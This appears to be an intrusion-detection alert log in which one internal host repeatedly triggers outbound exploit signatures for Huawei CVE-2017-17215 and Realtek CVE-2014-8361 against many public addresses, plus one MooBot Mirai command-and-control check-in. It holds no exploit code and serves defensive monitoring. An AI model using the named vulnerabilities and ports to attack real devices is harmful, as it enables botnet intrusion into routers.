Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.215.41.207

Timestamp:	07/20/24-23:01:32.238260
SID:	2835222
Source Port:	59760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.158.220.112

Timestamp:	07/20/24-23:01:12.374034
SID:	2829579
Source Port:	36692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 119.114.133.221

Timestamp:	07/20/24-23:01:12.487419
SID:	2829579
Source Port:	53268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.190.13.194

Timestamp:	07/20/24-23:01:06.806392
SID:	2829579
Source Port:	48586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 138.132.232.61

Timestamp:	07/20/24-23:01:27.285139
SID:	2835222
Source Port:	39776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 37.73.51.105

Timestamp:	07/20/24-23:01:27.283164
SID:	2835222
Source Port:	33426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.83.107.218

Timestamp:	07/20/24-23:01:04.855996
SID:	2829579
Source Port:	58658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 178.42.122.244

Timestamp:	07/20/24-23:01:06.805919
SID:	2835222
Source Port:	46022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 192.136.158.102

Timestamp:	07/20/24-23:01:04.858015
SID:	2835222
Source Port:	40242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 181.177.254.25

Timestamp:	07/20/24-23:01:20.388966
SID:	2025132
Source Port:	60206
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 23.86.160.85

Timestamp:	07/20/24-23:01:05.538156
SID:	2027339
Source Port:	33962
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 163.209.94.25

Timestamp:	07/20/24-23:01:03.948227
SID:	2027339
Source Port:	54540
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.81.163.166

Timestamp:	07/20/24-23:01:36.796105
SID:	2835222
Source Port:	36500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 122.167.75.170

Timestamp:	07/20/24-23:01:14.506916
SID:	2027339
Source Port:	39626
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.134.23.72

Timestamp:	07/20/24-23:01:15.000888
SID:	2829579
Source Port:	58820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 80.49.148.206

Timestamp:	07/20/24-23:01:07.479520
SID:	2027339
Source Port:	58964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 168.182.205.114

Timestamp:	07/20/24-23:01:04.841989
SID:	2835222
Source Port:	38290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.83.126.46

Timestamp:	07/20/24-23:01:15.114566
SID:	2835222
Source Port:	33096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 213.249.133.80

Timestamp:	07/20/24-23:01:05.614910
SID:	2025132
Source Port:	47088
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 223.161.169.143

Timestamp:	07/20/24-23:01:14.512728
SID:	2027339
Source Port:	33862
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 13.5.180.251

Timestamp:	07/20/24-23:01:06.447731
SID:	2027339
Source Port:	37352
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.214.221.88

Timestamp:	07/20/24-23:01:22.799665
SID:	2829579
Source Port:	50226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.119.197.216

Timestamp:	07/20/24-23:01:02.669608
SID:	2835222
Source Port:	37176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.54.72.125

Timestamp:	07/20/24-23:01:12.492810
SID:	2835222
Source Port:	53468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 163.209.94.25

Timestamp:	07/20/24-23:01:14.502469
SID:	2831300
Source Port:	56640
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 17.217.65.15

Timestamp:	07/20/24-23:01:14.521197
SID:	2831300
Source Port:	34672
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 221.82.215.87

Timestamp:	07/20/24-23:01:14.533279
SID:	2027339
Source Port:	53132
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 125.82.19.196

Timestamp:	07/20/24-23:01:06.662973
SID:	2025132
Source Port:	48600
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.104.162.59

Timestamp:	07/20/24-23:01:02.612616
SID:	2835222
Source Port:	59616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 123.230.10.211

Timestamp:	07/20/24-23:01:25.416964
SID:	2835222
Source Port:	34244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.71.12.189

Timestamp:	07/20/24-23:01:12.356775
SID:	2829579
Source Port:	39062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 84.175.23.63

Timestamp:	07/20/24-23:01:21.675919
SID:	2027339
Source Port:	39482
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.29.132.43

Timestamp:	07/20/24-23:01:04.853128
SID:	2829579
Source Port:	54338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.50.57.98

Timestamp:	07/20/24-23:01:15.001455
SID:	2829579
Source Port:	52334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.56.121.105

Timestamp:	07/20/24-23:01:36.793382
SID:	2829579
Source Port:	40336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 163.150.42.115

Timestamp:	07/20/24-23:00:59.022894
SID:	2835222
Source Port:	42034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.26.157.201

Timestamp:	07/20/24-23:01:02.685657
SID:	2829579
Source Port:	32996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 47.222.214.79

Timestamp:	07/20/24-23:01:07.206375
SID:	2027339
Source Port:	53418
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.170.236.11

Timestamp:	07/20/24-23:01:08.407500
SID:	2829579
Source Port:	35168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.186.86.221

Timestamp:	07/20/24-23:00:59.021447
SID:	2829579
Source Port:	50040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.186.203.198

Timestamp:	07/20/24-23:01:32.252814
SID:	2835222
Source Port:	60512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 114.116.15.132

Timestamp:	07/20/24-23:00:59.020760
SID:	2835222
Source Port:	59660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.22.79.93

Timestamp:	07/20/24-23:01:36.794115
SID:	2835222
Source Port:	53560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 171.117.89.236

Timestamp:	07/20/24-23:01:06.121824
SID:	2027339
Source Port:	40936
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 89.84.130.3

Timestamp:	07/20/24-23:01:05.948085
SID:	2025132
Source Port:	40854
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.243.136.112

Timestamp:	07/20/24-23:01:04.858015
SID:	2829579
Source Port:	48948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.31.98.182

Timestamp:	07/20/24-23:01:36.781974
SID:	2835222
Source Port:	37660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 116.119.255.178

Timestamp:	07/20/24-23:02:10.892680
SID:	2025132
Source Port:	34326
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 141.20.36.175

Timestamp:	07/20/24-23:01:20.573336
SID:	2025132
Source Port:	49396
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.56.118.161

Timestamp:	07/20/24-23:00:59.019482
SID:	2835222
Source Port:	32874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 115.177.66.51

Timestamp:	07/20/24-23:01:27.229449
SID:	2835222
Source Port:	58000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.68.211.95

Timestamp:	07/20/24-23:01:02.595730
SID:	2829579
Source Port:	43498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.20.81.160

Timestamp:	07/20/24-23:01:08.381149
SID:	2829579
Source Port:	34416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.98.253.141

Timestamp:	07/20/24-23:01:08.381149
SID:	2829579
Source Port:	50570
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.159.214.118

Timestamp:	07/20/24-23:01:22.810997
SID:	2835222
Source Port:	40688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.166.91.253

Timestamp:	07/20/24-23:01:32.259331
SID:	2829579
Source Port:	55504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 101.124.61.221

Timestamp:	07/20/24-23:01:36.785490
SID:	2829579
Source Port:	57676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 60.11.100.175

Timestamp:	07/20/24-23:01:36.799485
SID:	2835222
Source Port:	39500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 171.133.173.195

Timestamp:	07/20/24-23:01:22.754723
SID:	2835222
Source Port:	41914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 46.222.69.48

Timestamp:	07/20/24-23:01:27.366334
SID:	2027339
Source Port:	51776
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 175.10.79.147

Timestamp:	07/20/24-23:01:14.513708
SID:	2027339
Source Port:	38188
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.160.78.157

Timestamp:	07/20/24-23:01:32.202245
SID:	2835222
Source Port:	46596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.185.235.4

Timestamp:	07/20/24-23:00:59.020375
SID:	2829579
Source Port:	44478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.33.122.169

Timestamp:	07/20/24-23:01:22.812907
SID:	2835222
Source Port:	60632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.45.209.254

Timestamp:	07/20/24-23:01:02.620832
SID:	2835222
Source Port:	52190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 80.102.232.62

Timestamp:	07/20/24-23:01:18.995457
SID:	2025132
Source Port:	41456
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 186.183.79.214

Timestamp:	07/20/24-23:01:27.359674
SID:	2027339
Source Port:	43126
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 24.166.198.46

Timestamp:	07/20/24-23:01:14.543026
SID:	2831300
Source Port:	51902
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 84.50.117.185

Timestamp:	07/20/24-23:01:14.550730
SID:	2831300
Source Port:	54272
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 216.194.176.131

Timestamp:	07/20/24-23:01:06.643290
SID:	2025132
Source Port:	56782
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 53.242.30.163

Timestamp:	07/20/24-23:01:14.517363
SID:	2027339
Source Port:	33270
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 71.95.23.241

Timestamp:	07/20/24-23:01:06.677271
SID:	2025132
Source Port:	33434
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.231.12.12

Timestamp:	07/20/24-23:01:12.487419
SID:	2835222
Source Port:	44378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.48.67.38

Timestamp:	07/20/24-23:01:08.459273
SID:	2829579
Source Port:	34076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.214.231.94

Timestamp:	07/20/24-23:01:08.419092
SID:	2835222
Source Port:	54558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 80.21.51.67

Timestamp:	07/20/24-23:01:07.239221
SID:	2027339
Source Port:	58620
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.27.18.240

Timestamp:	07/20/24-23:01:32.206637
SID:	2829579
Source Port:	34782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.111.45.112

Timestamp:	07/20/24-23:01:32.199687
SID:	2829579
Source Port:	37458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 178.39.107.192

Timestamp:	07/20/24-23:01:14.544463
SID:	2831300
Source Port:	59054
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.148.108.70

Timestamp:	07/20/24-23:01:36.781974
SID:	2829579
Source Port:	48676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.44.221.20

Timestamp:	07/20/24-23:01:36.787101
SID:	2829579
Source Port:	35164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.153.183.158

Timestamp:	07/20/24-23:01:04.855996
SID:	2835222
Source Port:	50636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.146.235.18

Timestamp:	07/20/24-23:01:02.628234
SID:	2835222
Source Port:	54026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.89.156.202

Timestamp:	07/20/24-23:01:36.781020
SID:	2829579
Source Port:	55724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 83.133.236.199

Timestamp:	07/20/24-23:01:27.361024
SID:	2027339
Source Port:	41334
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.104.42.82

Timestamp:	07/20/24-23:01:08.455372
SID:	2835222
Source Port:	59940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 48.113.240.162

Timestamp:	07/20/24-23:01:14.517363
SID:	2831300
Source Port:	33822
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 38.49.123.120

Timestamp:	07/20/24-23:01:14.513053
SID:	2831300
Source Port:	46268
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.212.194.18

Timestamp:	07/20/24-23:01:22.801622
SID:	2829579
Source Port:	46990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 110.74.122.205

Timestamp:	07/20/24-23:01:07.245627
SID:	2027339
Source Port:	47458
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 83.59.61.36

Timestamp:	07/20/24-23:01:05.869040
SID:	2025132
Source Port:	52830
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 1.125.24.131

Timestamp:	07/20/24-23:01:27.357903
SID:	2027339
Source Port:	56302
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 15.235.203.214

Timestamp:	07/20/24-23:01:07.548019
SID:	2030490
Source Port:	57820
Destination Port:	2466
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 27.117.118.67

Timestamp:	07/20/24-23:01:04.597721
SID:	2027339
Source Port:	35790
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 164.229.75.25

Timestamp:	07/20/24-23:01:27.237698
SID:	2829579
Source Port:	53094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 107.240.237.92

Timestamp:	07/20/24-23:01:14.574230
SID:	2027339
Source Port:	55278
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.54.33.180

Timestamp:	07/20/24-23:01:12.483169
SID:	2829579
Source Port:	35264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 123.81.251.53

Timestamp:	07/20/24-23:01:27.353289
SID:	2027339
Source Port:	40290
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.184.93.79

Timestamp:	07/20/24-23:01:02.669609
SID:	2835222
Source Port:	32890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.132.136.35

Timestamp:	07/20/24-23:01:08.407067
SID:	2829579
Source Port:	41032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.178.123.199

Timestamp:	07/20/24-23:01:32.276800
SID:	2835222
Source Port:	40660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

